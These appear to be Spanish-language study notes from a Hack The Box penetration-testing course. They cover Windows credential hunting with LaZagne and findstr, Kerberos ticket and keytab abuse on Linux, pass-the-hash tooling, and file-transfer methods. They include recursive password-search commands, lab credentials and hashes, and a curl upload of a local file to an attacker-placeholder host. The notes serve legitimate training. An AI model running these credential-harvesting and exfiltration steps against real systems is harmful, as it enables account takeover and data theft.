Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Una vez que tenemos acceso a una máquina Windows (por RDP o CLI), es buena idea buscar credenciales. Esto se llama Credential Hunting y consiste en revisar el sistema en busca de contraseñas guardadas en archivos, aplicaciones o configuraciones.
En este caso, accedimos al equipo de un administrador de IT con Windows 10, así que hay alta probabilidad de encontrar credenciales valiosas.
Windows y muchas apps tienen funciones de búsqueda integradas, así que podemos aprovechar eso para buscar términos como:
Username
User account
Creds
Users
Passkeys
Passphrases
configuration
dbcredential
dbpassword
pwd
Login
Credentials
Con acceso a la GUI, vale la pena intentar utilizar Windows Search
para encontrar archivos en el objetivo utilizando algunas de las palabras clave mencionadas anteriormente.
Por defecto, buscará en varias configuraciones del sistema operativo y en el sistema de archivos aquellos archivos y aplicaciones que contengan el término clave introducido en la barra de búsqueda.
También podemos aprovechar herramientas de terceros como Lazagne para descubrir rápidamente credenciales que los navegadores web u otras aplicaciones instaladas puedan almacenar de forma insegura. Sería beneficioso mantener una copia independiente de Lazagne en nuestro host de ataque para poder transferirla rápidamente al objetivo. Lazagne.exe nos servirá perfectamente en este escenario. Podemos utilizar nuestro cliente RDP para copiar el archivo en el objetivo de nuestro host de ataque. Si estamos utilizando xfreerdp todo lo que debemos hacer es copiar y pegar en la sesión RDP que hemos establecido.
Una vez que Lazagne.exe esté en el objetivo, podemos abrir el símbolo del sistema o PowerShell, navegar hasta el directorio en el que se cargó el archivo y ejecutar el siguiente comando:
Running Lazagne All
C:\Users\bob\Desktop> LaZagne.exe all
Esto ejecutará Lazagne y ejecutará todos los módulos incluidos. Podemos incluir la opción -vv para estudiar lo que está haciendo en segundo plano. Una vez que pulsemos enter, se abrirá otro prompt y mostrará los resultados.
Lazagne Output
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
########## User: bob ##########
------------------- Winscp passwords -----------------
[+] Password found !!!
URL: 10.129.202.51
Login: admin
Password: SteveisReallyCool123
Port: 22
Si utilizáramos la opción -vv, veríamos los intentos de recopilar contraseñas de todo el software soportado por Lazagne. También podemos mirar en la página de GitHub en la sección de software soportado para ver todo el software de Lazagne intentará recopilar credenciales. Puede ser un poco chocante ver lo fácil que puede ser obtener credenciales en texto claro. Gran parte de esto se puede atribuir a la forma insegura en que muchas aplicaciones almacenan las credenciales.
También podemos utilizar findstr para buscar a partir de patrones en muchos tipos de archivos. Teniendo en cuenta los términos clave comunes, podemos utilizar variaciones de este comando para descubrir credenciales en un objetivo Windows:
C:\> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml
Get-ChildItem -Path C:\ -Include *.txt,*.ini,*.cfg,*.config,*.xml,*.git,*.ps1,*.yml -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"
Existen miles de herramientas y términos clave que podemos utilizar para buscar credenciales en sistemas operativos Windows. Sepa que las que elijamos utilizar se basarán principalmente en la función del ordenador. Si aterrizamos en un sistema operativo Windows Server, podemos utilizar un enfoque diferente que si aterrizamos en un sistema operativo Windows Desktop. Siempre hay que tener en cuenta cómo se utiliza el sistema, y esto nos ayudará a saber dónde buscar. A veces incluso podremos encontrar credenciales navegando y listando directorios en el sistema de archivos mientras se ejecutan nuestras herramientas.
Estos son algunos otros lugares que debemos tener en cuenta al buscar credenciales:
Passwords in Group Policy in the SYSVOL share
Passwords in scripts in the SYSVOL share
Password in scripts on IT shares
Passwords in web.config files on dev machines and IT shares
unattend.xml
Passwords in the AD user or computer description fields
KeePass databases --> pull hash, crack and get loads of access.
Found on user systems and shares
Files such as pass.txt, passwords.docx, passwords.xlsx found on user systems, shares, Sharepoint
Aunque no es lo más común, los equipos Linux pueden conectarse a Active Directory para ofrecer una gestión centralizada de identidades e integrarse con los sistemas de la organización. Esto permite que los usuarios tengan una única identidad para autenticarse tanto en equipos Linux como Windows.
Un equipo Linux conectado a Active Directory suele utilizar Kerberos como método de autenticación. Si este es el caso y logramos comprometer una máquina Linux unida al dominio, podríamos intentar buscar tickets Kerberos para suplantar a otros usuarios y obtener más acceso dentro de la red.
Un sistema Linux puede estar configurado de diferentes maneras para almacenar tickets Kerberos, y en esta sección vamos a ver algunas de esas opciones.
Windows y Linux utilizan el mismo proceso para solicitar un Ticket Granting Ticket (TGT) y un Service Ticket (TGS). Sin embargo, la forma en que se almacenan los tickets puede variar según la distribución de Linux y la implementación utilizada.
En la mayoría de los casos, las máquinas Linux almacenan los tickets Kerberos como archivos ccache en el directorio /tmp
. Por defecto, la ubicación del ticket Kerberos se define en la variable de entorno KRB5CCNAME
. Esta variable nos puede indicar si se están utilizando tickets Kerberos o si se ha cambiado la ruta por defecto donde se almacenan. Estos archivos .ccache
están protegidos por permisos de lectura y escritura, pero un usuario con privilegios elevados o root puede acceder fácilmente a ellos.
Otro uso muy común de Kerberos en Linux es a través de los archivos keytab. Un keytab es un archivo que contiene pares de principales Kerberos y claves cifradas (derivadas de la contraseña de Kerberos). Estos archivos permiten autenticarse en sistemas remotos usando Kerberos sin necesidad de introducir una contraseña. Eso sí, si el usuario cambia su contraseña, es necesario recrear los archivos keytab.
Los archivos keytab suelen usarse para que scripts puedan autenticarse automáticamente usando Kerberos, sin intervención humana ni necesidad de guardar la contraseña en texto plano. Por ejemplo, un script podría usar un keytab para acceder a archivos compartidos en un recurso de red de Windows.
Para practicar y entender cómo podemos abusar de Kerberos desde un sistema Linux, contamos con una máquina llamada LINUX01 conectada al Domain Controller. Esta máquina solo es accesible a través de MS01.
Para acceder a LINUX01 por SSH, tenemos dos opciones:
Conectarnos primero a MS01 mediante RDP y, desde ahí, usar el comando SSH en la línea de comandos de Windows para conectar con la máquina Linux.
Usar una técnica de port forwarding para redirigir el tráfico SSH hacia LINUX01.
Linux Auth from MS01 Image
Linux Auth via Port Forward
Como alternativa, creamos un port forwarding
para simplificar la interacción con LINUX01
. Al conectarnos al puerto TCP/2222 en MS01
, obtendremos acceso al puerto TCP/22 en LINUX01
.
Supongamos que estamos en una nueva evaluación, y la empresa nos da acceso a LINUX01
y al usuario david@inlanefreight.htb
y contraseña Password2
.
Podemos identificar si la máquina Linux está unida a un dominio utilizando , una herramienta utilizada para gestionar la inscripción del sistema en un dominio y establecer qué usuarios o grupos del dominio tienen permiso para acceder a los recursos del sistema local.
realm - Check If Linux Machine is Domain Joined
La salida del comando indica que la máquina está configurada como miembro de Kerberos. También nos da información sobre el nombre de dominio (inlanefreight.htb) y qué usuarios y grupos tienen permiso para iniciar sesión, que en este caso son los usuarios David y Julio y el grupo Linux Admins.
En caso de que no esté disponible, también podemos buscar otras herramientas utilizadas para integrar Linux con Active Directory como sssd o winbind. Buscar esos servicios ejecutándose en la máquina es otra forma de identificar si está unida a un dominio. Podemos leer esta entrada de para más detalles. Vamos a buscar esos servicios para confirmar si la máquina está unida a un dominio.
PS - Check if Linux Machine is Domain Joined
Como atacante, siempre estamos buscando credenciales. En máquinas Linux unidas a un dominio, queremos encontrar tickets Kerberos para obtener más acceso. Los tickets Kerberos se pueden encontrar en diferentes lugares dependiendo de la implementación de Linux o de que el administrador cambie la configuración por defecto. Exploremos algunas formas comunes de encontrar tickets Kerberos.
Un método sencillo es utilizar find
para buscar archivos cuyo nombre contenga la palabra keytab
. Cuando un administrador comúnmente crea un ticket Kerberos para ser usado con un script, establece la extensión a .keytab
. Aunque no es obligatorio, es una forma en la que los administradores suelen referirse a un archivo keytab.
Otra forma de encontrar archivos keytab
es en scripts automatizados configurados mediante un cronjob o cualquier otro servicio Linux. Si un administrador necesita ejecutar un script para interactuar con un servicio de Windows que utiliza Kerberos, y si el fichero keytab no tiene la extensión .keytab
, podemos encontrar el nombre de fichero apropiado dentro del script. Veamos este ejemplo:
En el script anterior, notamos el uso de , lo que significa que Kerberos está en uso. permite la interacción con Kerberos, y su función es solicitar el TGT del usuario y almacenar este ticket en la caché (archivo ccache). Podemos utilizar kinit
para importar un keytab
a nuestra sesión y actuar como el usuario.
En este ejemplo, encontramos un script que importa un ticket Kerberos (svc_workstations.kt
) para el usuario svc_workstations@INLANEFREIGHT.HTB
antes de intentar conectarse a una carpeta compartida. Más adelante veremos cómo utilizar esos tickets y suplantar usuarios.
Un archivo de caché de credenciales o almacena las credenciales Kerberos mientras siguen siendo válidas y, por lo general, mientras dura la sesión del usuario. Una vez que un usuario se autentica en el dominio, se crea un archivo ccache que almacena la información del ticket. La ruta a este archivo se coloca en la variable de entorno KRB5CCNAME
. Esta variable es utilizada por las herramientas que soportan la autenticación Kerberos para encontrar los datos Kerberos.
Busquemos las variables de entorno e identifiquemos la ubicación de nuestra caché de credenciales Kerberos:
Como se mencionó anteriormente, los archivos ccache
se encuentran, por defecto, en /tmp
. Podemos buscar usuarios que hayan iniciado sesión en el ordenador, y si conseguimos acceso como root o un usuario con privilegios, seríamos capaces de suplantar a un usuario utilizando su archivo ccache
mientras aún sea válido.
Como atacantes, podemos darle varios usos a un archivo keytab. Lo primero que podemos hacer es suplantar a un usuario utilizando kinit
. Para utilizar un archivo keytab
, necesitamos saber para qué usuario fue creado.
klist
es otra aplicación utilizada para interactuar con Kerberos en Linux. Esta aplicación lee información de un fichero keytab. Veámoslo con el siguiente comando:
El ticket corresponde al usuario Carlos. Ya podemos suplantar al usuario con kinit
.
Confirmemos qué ticket estamos usando con klist
y luego importemos el ticket de Carlos a nuestra sesión con kinit
.
Connecting to SMB Share as Carlos
Podemos intentar acceder a la carpeta compartida \\dc01\\carlos
para confirmar nuestro acceso.
El segundo método que utilizaremos para abusar de Kerberos en Linux es extraer los secretos de un archivo keytab. Pudimos hacernos pasar por Carlos usando los tickets de la cuenta para leer una carpeta compartida en el dominio, pero si queremos acceder a su cuenta en la máquina Linux, necesitaremos su contraseña.
Podemos intentar descifrar la contraseña de la cuenta extrayendo los hashes del archivo keytab. Usemos , una herramienta para extraer información valiosa de archivos .keytab de tipo 502, que pueden ser usados para autenticar cajas Linux a Kerberos. El script extraerá información como el dominio, el principal del servicio, el tipo de cifrado y los hash.
Con el hash NTLM, podemos realizar un ataque Pass the Hash. Con el hash AES256 o AES128, podemos falsificar nuestros tickets usando Rubeus o intentar crackear los hashes para obtener la contraseña en texto plano.
El hash más sencillo de descifrar es el hash NTLM. Podemos utilizar herramientas como o the Ripper para descifrarlo. Sin embargo, una forma rápida de descifrar contraseñas es con repositorios online como , que contiene miles de millones de contraseñas.
Como podemos ver en la imagen, la contraseña para el usuario Carlos es Password5. Ahora podemos iniciar sesión como Carlos.
Carlos tiene un cronjob que utiliza un archivo keytab llamado svc_workstations.kt
. Podemos repetir el proceso, descifrar la contraseña e iniciar sesión como svc_workstations
.
Para abusar de un archivo ccache, todo lo que necesitamos son privilegios de lectura sobre el archivo. Estos archivos, ubicados en /tmp
, sólo pueden ser leídos por el usuario que los creó, pero si obtenemos acceso de root, podríamos utilizarlos.
Una vez que nos logueamos con las credenciales del usuario svc_workstations, podemos usar sudo -l y confirmar que el usuario puede ejecutar cualquier comando como root. Podemos usar el comando sudo su para cambiar el usuario a root.
Como root, necesitamos identificar qué tickets están presentes en la máquina, a quién pertenecen y su tiempo de caducidad.
Julio es miembro del grupo Domain Admins
. Podemos intentar suplantar al usuario y obtener acceso al host Controlador de dominio DC01
.
Para utilizar un archivo ccache, podemos copiar el archivo ccache y asignar la ruta del archivo a la variable KRB5CCNAME
.
La mayoría de las herramientas de ataque en Linux que interactúan con entornos Windows y Active Directory soportan autenticación Kerberos. Si las usamos desde una máquina unida al dominio, debemos asegurarnos de que la variable de entorno KRB5CCNAME esté apuntando al archivo ccache que queremos usar.
En caso de que estemos atacando desde una máquina que no es miembro del dominio, como nuestro equipo de ataque, debemos asegurarnos de que dicha máquina pueda contactar con el KDC o Domain Controller, y que la resolución de nombres del dominio funcione correctamente.
En este escenario, nuestra máquina atacante no tiene conexión directa con el KDC/Domain Controller, y no puede usarlo para resolver nombres. Para poder usar Kerberos, necesitamos redirigir el tráfico a través de MS01 usando herramientas como Chisel y Proxychains, y además editar el archivo /etc/hosts para establecer manualmente las direcciones IP del dominio y de las máquinas que queremos atacar.
Host File Modified
Proxychains Configuration File
Tenemos que modificar nuestro archivo de configuración proxychains para utilizar socks5 y el puerto 1080.
Download Chisel to our Attack Host
Connect to MS01 with xfreerdp
Execute chisel from MS01
Setting the KRB5CCNAME Environment Variable
Finalmente, necesitamos transferir el archivo ccache de Julio desde LINUX01 y crear la variable de entorno KRB5CCNAME
con el valor correspondiente a la ruta del archivo ccache.
Esto permitirá que las herramientas que utilicen autenticación Kerberos en nuestra máquina atacante usen el ticket de Julio para autenticarse como él dentro del dominio.
Para usar el ticket Kerberos, debemos especificar el nombre de la máquina objetivo (no su dirección IP) y usar la opción -k
.
Si al conectarnos se nos solicita una contraseña, también podemos añadir la opción -no-pass
para evitar que la herramienta intente pedir credenciales.
Esto forzará el uso del ticket Kerberos almacenado, sin requerir interacción adicional.
Using Impacket with proxychains and Kerberos Authentication
La autenticación mediante Kerberos requiere de una serie de pasos previos para que funcione correctamente.
Sincronizar la hora de la máquina local con la del Domain Controller.
Disponer de un TGT (Ticket Granting Ticket)
Exportar el TGT en la variable KRB5CCNAME
Disponer de la instalación de krb5-user
y krb5-config
en el equipo local
Configurar adecuadamente el archivo /etc/krb5.conf
con la configuración necesaria del dominio
El comando para conectarnos mediante el TGT obtenido es el siguiente:
Para configurar paso a paso esta autenticación al WinRM
mediante Kerberos, realizaremos los siguientes pasos:
Deberemos de sincronizar la hora de nuestro equipo con la del DC (Domain Controller).
Instalaremos el paquete de ntpdate
para ayudarnos a sincronizar la hora de nuestro reloj.
Una vez instalado, sincronizaremos nuestra hora con la del DC.
Deberemos de disponer de un TGT (Ticket Granting Ticket) del usuario con el que queramos conectarnos. Disponemos de varias maneras de haber obtenido ya un TGT, pero en este caso explicaremos solamente a solicitarlo para el usuario que disponemos sus credenciales.
A través de la herramienta de impacket-getTGT
obtendremos un TGT válido para nuestro usuario.
Una vez solicitado el TGT, nos deberá proporcionar un archivo .ccache
.
Una vez obtenido el TGT (.ccache
), deberemos de exportar este tiquet en la variable KRB5CCNAME
para poder utilizarlo correctamente.
Instalaremos el paquete de krb5-user
a través del siguiente comando:
Una vez instalado, validaremos que el tiquet TGT obtenido y declarado en KRB5CCNAME
funcione correctamente. Nos deberá aparecer nuestro TGT.
Instalaremos el paquete necesario para el /etc/krb5.conf
a través del siguiente comando:
Una vez instalado el paquete, deberemos de configurar el archivo /etc/krb5.conf
para que se adapte al dominio correspondiente.
A continuación, dejaremos un archivo /etc/krb5.conf
de ejemplo.
Si queremos usar un archivo ccache en Windows o un archivo .kirbi en una máquina Linux, podemos usar la herramienta impacket-ticketConverter
para convertirlos.
Para utilizarla, simplemente indicamos el archivo que queremos convertir y el nombre del archivo de salida. Por ejemplo, para convertir el archivo ccache de Julio a formato .kirbi
:
También podemos hacer la operación inversa, convirtiendo un archivo .kirbi
a .ccache
para usarlo en Linux.
Linikatz es una herramienta creada por el equipo de seguridad de Cisco para la extracción de credenciales en máquinas Linux integradas en Active Directory. En otras palabras, lleva el mismo concepto de Mimikatz al entorno UNIX.
Al igual que Mimikatz, para aprovechar Linikatz necesitamos tener acceso root en la máquina. Esta herramienta extrae todas las credenciales, incluidos tickets Kerberos, desde distintas implementaciones como FreeIPA, SSSD, Samba, Vintella, entre otras. Una vez extraídas, las guarda en una carpeta cuyo nombre comienza con linikatz.
Dentro de esa carpeta encontraremos las credenciales en varios formatos útiles como .ccache
y .keytab
, que luego podemos reutilizar según sea necesario (como se explicó anteriormente).
Al ejecutarlo, Linikatz detecta las configuraciones de distintos servicios relacionados con AD (como FreeIPA, SSSD, Samba, Kerberos, etc.) y extrae los archivos relevantes: bases de datos de caché, archivos .ccache
, .keytab
, configuraciones y más.
En el ejemplo mostrado:
Se detectan múltiples tickets Kerberos en /tmp
, incluyendo de usuarios como julio@inlanefreight.htb
y svc_workstations@inlanefreight.htb
.
También se identifican archivos de configuración como /etc/krb5.conf
y /etc/sssd/sssd.conf
.
El sistema está utilizando SSSD
y se observan archivos .ldb
y .ccache
dentro de /var/lib/sss/db/
.
RDP (Remote Desktop Protocol) se utiliza habitualmente en redes Windows para el acceso remoto. Podemos transferir archivos mediante RDP copiando y pegando. Podemos hacer clic derecho y copiar un archivo desde la máquina Windows a la que nos conectamos y pegarlo en la sesión RDP.
Si estamos conectados desde Linux, podemos utilizar xfreerdp
o rdesktop
. En el momento de redactar este artículo, xfreerdp
y rdesktop
permiten copiar desde nuestra máquina de destino a la sesión RDP, pero puede haber situaciones en las que esto no funcione como se espera.
Como alternativa a copiar y pegar, podemos montar un recurso local en el servidor RDP de destino. rdesktop
o xfreerdp
se pueden utilizar para exponer una carpeta local en la sesión RDP remota.
Para acceder al directorio, podemos conectarnos a \\tsclient
, lo que nos permitirá transferir archivos hacia y desde la sesión RDP.
Alternativamente, desde Windows, se puede utilizar el cliente de escritorio remoto nativo mstsc.exe
.
Después de seleccionar la unidad, podremos interactuar con ella en la sesión remota que sigue.
Nota: Esta unidad no es accesible para ningún otro usuario que haya iniciado sesión en la computadora de destino, incluso si logra secuestrar la sesión RDP.
Ya hablamos de realizar transferencias de archivos con PowerShell, pero puede haber escenarios en los que HTTP, HTTPS o SMB no estén disponibles. Si ese es el caso, podemos usar , también conocido como WinRM, para realizar operaciones de transferencia de archivos.
nos permite ejecutar scripts o comandos en una computadora remota mediante sesiones de PowerShell. Los administradores suelen usar PowerShell Remoting para administrar computadoras remotas en una red, y también podemos usarlo para operaciones de transferencia de archivos. De manera predeterminada, al habilitar PowerShell Remoting se crean un receptor HTTP y un receptor HTTPS. Los receptores se ejecutan en los puertos predeterminados TCP/5985 para HTTP y TCP/5986 para HTTPS.
Para crear una sesión de PowerShell Remoting en una computadora remota, necesitaremos acceso administrativo, ser miembro del grupo Remote Management Users
o tener permisos explícitos para PowerShell Remoting en la configuración de la sesión. Creemos un ejemplo y transfiramos un archivo de DC01
a DATABASE01
y viceversa.
Tenemos una sesión como Administrador en DC01
, el usuario tiene derechos administrativos en DATABASE01
y PowerShell Remoting
está habilitado. Usemos Test-NetConnection
para confirmar que podemos conectarnos a WinRM
.
Como esta sesión ya tiene privilegios sobre DATABASE01, no necesitamos especificar credenciales. En el ejemplo siguiente, se crea una sesión en la computadora remota denominada DATABASE01 y se almacenan los resultados en la variable denominada $Session.
Create a PowerShell Remoting Session to DATABASE01
Podemos usar el cmdlet Copy-Item para copiar un archivo de nuestra máquina local DC01 a la sesión DATABASE01 que tenemos $Session o viceversa.
DownloadFile --> Descarga datos de un recurso a un archivo local.
DownloadFileAsync --> Descarga datos de un recurso a un archivo local sin bloquear el hilo que lo llama.
Ejecutar directamente en memoria el script a través de IEX
.
Puede haber casos en los que la configuración inicial de Internet Explorer no se haya completado, lo que impide la descarga.
Esto se puede evitar utilizando el parámetro -UseBasicParsing
.
Otro error en las descargas de PowerShell está relacionado con el canal seguro SSL/TLS si el certificado no es de confianza. Podemos evitar ese error con el siguiente comando:
PowerShell no tiene una función integrada para operaciones de carga de archivos, pero podemos usar Invoke-WebRequest
o Invoke-RestMethod
para construir nuestra propia función de carga. También necesitaremos un servidor web que acepte cargas de archivos, ya que esta no es una opción predeterminada en la mayoría de los servidores web comunes.
Para nuestro servidor web, podemos usar uploadserver, un módulo extendido de Python HTTP.server, que incluye una página para la carga de archivos. Vamos a instalarlo y a iniciar el servidor web.
Installing a Configured WebServer with Upload
Ahora podemos usar un script de PowerShell llamado PSUpload.ps1
, que utiliza Invoke-RestMethod
para realizar las operaciones de carga. El script acepta dos parámetros:
-File
, que usamos para especificar la ruta del archivo.
-Uri
, que es la URL del servidor donde subiremos nuestro archivo.
Vamos a intentar subir el archivo hosts
desde nuestro sistema Windows.
Otra forma de usar PowerShell y archivos codificados en Base64 para cargas es combinando Invoke-WebRequest
o Invoke-RestMethod
con Netcat.
Usamos Netcat para escuchar en un puerto específico y recibir la solicitud POST con el archivo.
Luego, copiamos la salida y utilizamos la función de decodificación Base64 para convertir la cadena en un archivo.
Capturamos los datos en Base64 con Netcat y luego usamos la aplicación base64 con la opción de decodificación para convertir la cadena en un archivo.
Un ataque Pass the Hash (PtH) es una técnica en la que un atacante utiliza un hash de contraseña en lugar de la contraseña en texto plano para autenticarse. No es necesario descifrar el hash para obtener la contraseña original. Este tipo de ataque aprovecha el funcionamiento del protocolo de autenticación, ya que el hash permanece constante en cada sesión hasta que la contraseña se cambia.
El atacante necesita tener privilegios administrativos u otros permisos específicos sobre la máquina objetivo para poder obtener los hashes de contraseña. Existen varios métodos para obtenerlos, entre ellos:
Volcar la base de datos SAM local desde un host comprometido.
Extraer los hashes de la base de datos del controlador de dominio (NTDS.dit).
Obtener los hashes directamente desde la memoria del proceso lsass.exe
.
Supongamos que hemos obtenido el siguiente hash de contraseña para la cuenta julio
del dominio gzzcoo.htb
:
A continuación, veremos cómo realizar ataques Pass the Hash desde sistemas Windows y Linux.
NTLM (New Technology LAN Manager) de Microsoft es un conjunto de protocolos de seguridad diseñado para autenticar la identidad de los usuarios y proteger la integridad y confidencialidad de sus datos. NTLM funciona como una solución de inicio de sesión único (SSO), utilizando un protocolo de reto-respuesta para verificar la identidad del usuario sin necesidad de enviar la contraseña.
A pesar de sus vulnerabilidades conocidas, NTLM sigue siendo utilizado con frecuencia para mantener compatibilidad con sistemas y clientes antiguos, incluso en entornos modernos. Aunque Microsoft continúa dando soporte a NTLM, Kerberos ha pasado a ser el mecanismo de autenticación predeterminado desde Windows 2000 y en todos los dominios basados en Active Directory (AD) posteriores.
Uno de los problemas clave de NTLM es que las contraseñas almacenadas en los servidores o controladores de dominio no están "salteadas" (salted). Esto significa que un atacante que obtenga el hash de una contraseña puede autenticarse directamente sin necesidad de conocer la contraseña original. A este tipo de técnica se le conoce como ataque Pass the Hash (PtH).
La primera herramienta que podemos utilizar para llevar a cabo un ataque Pass the Hash es Mimikatz. Esta herramienta cuenta con un módulo llamado sekurlsa::pth
, que permite iniciar un proceso utilizando directamente el hash NTLM de un usuario, sin necesidad de conocer su contraseña en texto claro.
Para usar este módulo, se requiere la siguiente información:
/user
– El nombre del usuario que queremos suplantar.
/rc4
o /ntlm
– El hash NTLM de la contraseña del usuario.
/domain
– El dominio al que pertenece el usuario. Si es una cuenta local, se puede usar el nombre del equipo, localhost
, o simplemente un punto (.
).
/run
– El programa que queremos ejecutar con el contexto del usuario (si no se especifica, se lanzará por defecto una cmd.exe
).
Pass the Hash from Windows Using Mimikatz:
Ahora podemos usar cmd.exe para ejecutar comandos en el contexto del usuario. En este ejemplo, julio puede conectarse a una carpeta compartida llamada julio en el controlador de dominio.
Otra herramienta que podemos utilizar para realizar ataques Pass the Hash en sistemas Windows es Invoke-TheHash. Esta herramienta es un conjunto de funciones en PowerShell diseñadas para ejecutar ataques PtH utilizando WMI y SMB.
Las conexiones a WMI y SMB se realizan a través de System.Net.Sockets.TCPClient
de .NET, y la autenticación se lleva a cabo inyectando el hash NTLM en el protocolo de autenticación NTLMv2.
Aunque no se requieren privilegios de administrador en el equipo desde el cual ejecutamos el ataque, las credenciales utilizadas (usuario y hash) sí deben tener privilegios administrativos en la máquina objetivo.
En este ejemplo, se utilizará el usuario julio
y el hash 64F12CDDAA88057E06A81B54E73B949B
.
Target
: Nombre de host o dirección IP del objetivo.
Username
: Nombre de usuario que se utilizará para la autenticación.
Domain
: Dominio al que pertenece el usuario. Este parámetro es opcional si se utiliza una cuenta local o si se incluye el dominio en el nombre de usuario (por ejemplo, usuario@dominio
).
Hash
: Hash NTLM de la contraseña. Se acepta el formato LM:NTLM
o solo NTLM
.
Command
: Comando a ejecutar en el sistema objetivo. Si no se especifica ningún comando, la función verificará si las credenciales tienen acceso a WMI en la máquina remota.
El siguiente comando utilizará el método SMB para ejecutar un comando que crea un nuevo usuario llamado mark
y lo añade al grupo de administradores:
También podemos obtener una conexión de Reverse Shell
en la máquina de destino.
Para obtener una Reverse Shell
, necesitamos iniciar nuestro listener
usando Netcat en nuestra máquina Windows, cuya dirección IP es 172.16.1.5. Usaremos el puerto 8001 para esperar la conexión.
Para crear una Reverse Shell
simple usando PowerShell, podemos visitar , configurar nuestra IP 172.16.1.5 y puerto 8001, y seleccionar la opción PowerShell #3 (Base64), como se muestra en la siguiente imagen.
Pass the Hash with Impacket PsExec
Existen otras herramientas en el kit de herramientas de Impacket que podemos usar para la ejecución de comandos mediante ataques Pass the Hash, como:
impacket-wmiexec
impacket-atexec
impacket-smbexec
NetExec
es una herramienta de postexplotación que ayuda a automatizar la evaluación de la seguridad de grandes redes de Active Directory. Podemos usar NetExec
para intentar autenticarnos en algunos o todos los hosts de una red, buscando un host donde podamos autenticarnos correctamente como administrador local. Este método también se denomina "Rociado de contraseñas" y se explica en detalle en el módulo "Enumeración y ataques de Active Directory". Tenga en cuenta que este método puede bloquear cuentas de dominio, así que tenga en cuenta la política de bloqueo de cuentas del dominio objetivo y asegúrese de usar el método de cuenta local, que solo intentará iniciar sesión una vez en un host dentro de un rango determinado con las credenciales proporcionadas, si esa es su intención.
Si queremos realizar las mismas acciones, pero intentar autenticarnos en cada host de una subred usando el hash de la contraseña del administrador local, podríamos añadir --local-auth
a nuestro comando. Este método es útil si obtenemos un hash del administrador local volcando la base de datos SAM local en un host y queremos comprobar a cuántos hosts adicionales (si los hay) podemos acceder gracias a la reutilización de la contraseña del administrador local. Si vemos "Pwn3d!", significa que el usuario es administrador local en el equipo de destino. Podemos usar la opción -x para ejecutar comandos.
Es común ver la reutilización de contraseñas en varios hosts de la misma subred. Las organizaciones suelen usar imágenes maestras con la misma contraseña de administrador local o la configuran de la misma forma en varios hosts para facilitar la administración. Si nos encontramos con este problema en una interacción real, una excelente recomendación para el cliente es implementar la Solución de Contraseña del Administrador Local (LAPS), que aleatoriza la contraseña del administrador local y puede configurarse para que rote en un intervalo fijo.
CrackMapExec - Command Execution
evil-winrm
es otra herramienta que podemos usar para autenticarnos mediante el ataque "Pass the Hash" con comunicación remota de PowerShell. Si SMB está bloqueado o no tenemos permisos de administrador, podemos usar este protocolo alternativo para conectarnos a la máquina objetivo.
Puede haber ocasiones en las que obtengas un NT hash de administrador local a partir de un volcado de SAM u otros métodos, pero no puedas descifrarlo para obtener la contraseña en texto claro. En algunos casos, puedes realizar un ataque Pass-the-Hash (PtH) en RDP para obtener acceso GUI al sistema utilizando una herramienta como xfreerdp.
El principal obstáculo para este ataque es el Modo de Administración Restringida (Restricted Admin Mode). Este modo está deshabilitado por defecto y evitará que inicies sesión con un NT hash.
Sin embargo, con acceso de administrador local, puedes habilitar esta función agregando una nueva clave en el registro:
Una vez que se agrega la clave en el registro, puedes usar una herramienta como xfreerdp para obtener acceso por RDP sin necesidad de conocer la contraseña en texto claro de la cuenta:
PoC (Proof of Concept)
UAC (Control de Cuentas de Usuario) limita la capacidad de los usuarios locales para realizar tareas administrativas de forma remota. Cuando la clave de registro HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy
está en 0, significa que solo la cuenta de administrador local integrada (RID-500, "Administrator") puede hacer administración remota. Si se pone en 1, se permite también a otros administradores locales.
Ojo: hay una excepción. Si la clave FilterAdministratorToken
(que está deshabilitada por defecto) se habilita (valor 1), entonces la cuenta RID-500 (aunque tenga otro nombre) queda protegida por UAC. Eso hace que un ataque remoto tipo Pass The Hash (PTH) con esa cuenta falle.
Estos ajustes solo aplican a cuentas administrativas locales. Si conseguimos acceso a una cuenta de dominio con permisos administrativos sobre una máquina, sí podremos usar Pass The Hash contra ella.
La transferencia web es la forma más común en la que la mayoría de la gente transfiere archivos, ya que HTTP/HTTPS son los protocolos que normalmente están permitidos a través de los firewalls. Además, en muchos casos, el archivo viaja cifrado, lo cual es una gran ventaja. No hay nada peor que estar en un pentest y que el IDS del cliente detecte que hemos enviado un archivo sensible en texto plano, y que luego pregunten por qué mandamos una contraseña a nuestro servidor sin cifrado.
Ya vimos cómo usar el módulo uploadserver
de Python3 para montar un servidor web con capacidad de subida de archivos, pero también podemos usar Apache o Nginx. En esta parte, vamos a ver cómo montar un servidor web seguro para operaciones de subida de archivos.
Una buena alternativa a Apache para transferir archivos es Nginx, ya que su configuración es más sencilla y su sistema de módulos no genera tantos problemas de seguridad como puede ocurrir con Apache.
Cuando permitimos subidas por HTTP, es fundamental asegurarnos al 100% de que los usuarios no puedan subir shells web y ejecutarlos. Apache, por ejemplo, puede ser peligroso en este sentido, ya que su módulo de PHP tiende a ejecutar cualquier archivo que termine en .php
. En cambio, configurar PHP en Nginx no es tan directo, lo que en este contexto es una ventaja porque reduce el riesgo de ejecución automática.
gzzcoo@htb[/htb]$ sudo mkdir -p /var/www/uploads/SecretUploadDirectory
gzzcoo@htb[/htb]$ sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory
Cree el archivo de configuración de Nginx creando el archivo /etc/nginx/sites-available/upload.conf
con el contenido:
server {
listen 9001;
location /SecretUploadDirectory/ {
root /var/www/uploads;
dav_methods PUT;
}
}
gzzcoo@htb[/htb]$ sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
gzzcoo@htb[/htb]$ sudo systemctl restart nginx.service
Remove NginxDefault Configuration
gzzcoo@htb[/htb]$ sudo rm /etc/nginx/sites-enabled/default
Ahora podemos probar la carga usando cURL para enviar una solicitud PUT. En el siguiente ejemplo, subiremos el archivo /etc/passwd al servidor y lo llamaremos users.txt.
C:\gzzcoo> curl -T "C:\Windows\System32\drivers\etc\hosts" http://<ATTACKER_IP>:9001/SecretUploadDirectory/hosts.txt
gzzcoo@htb[/htb]$ sudo tail -1 /var/www/uploads/SecretUploadDirectory/hosts.txt
# ::1 localhost
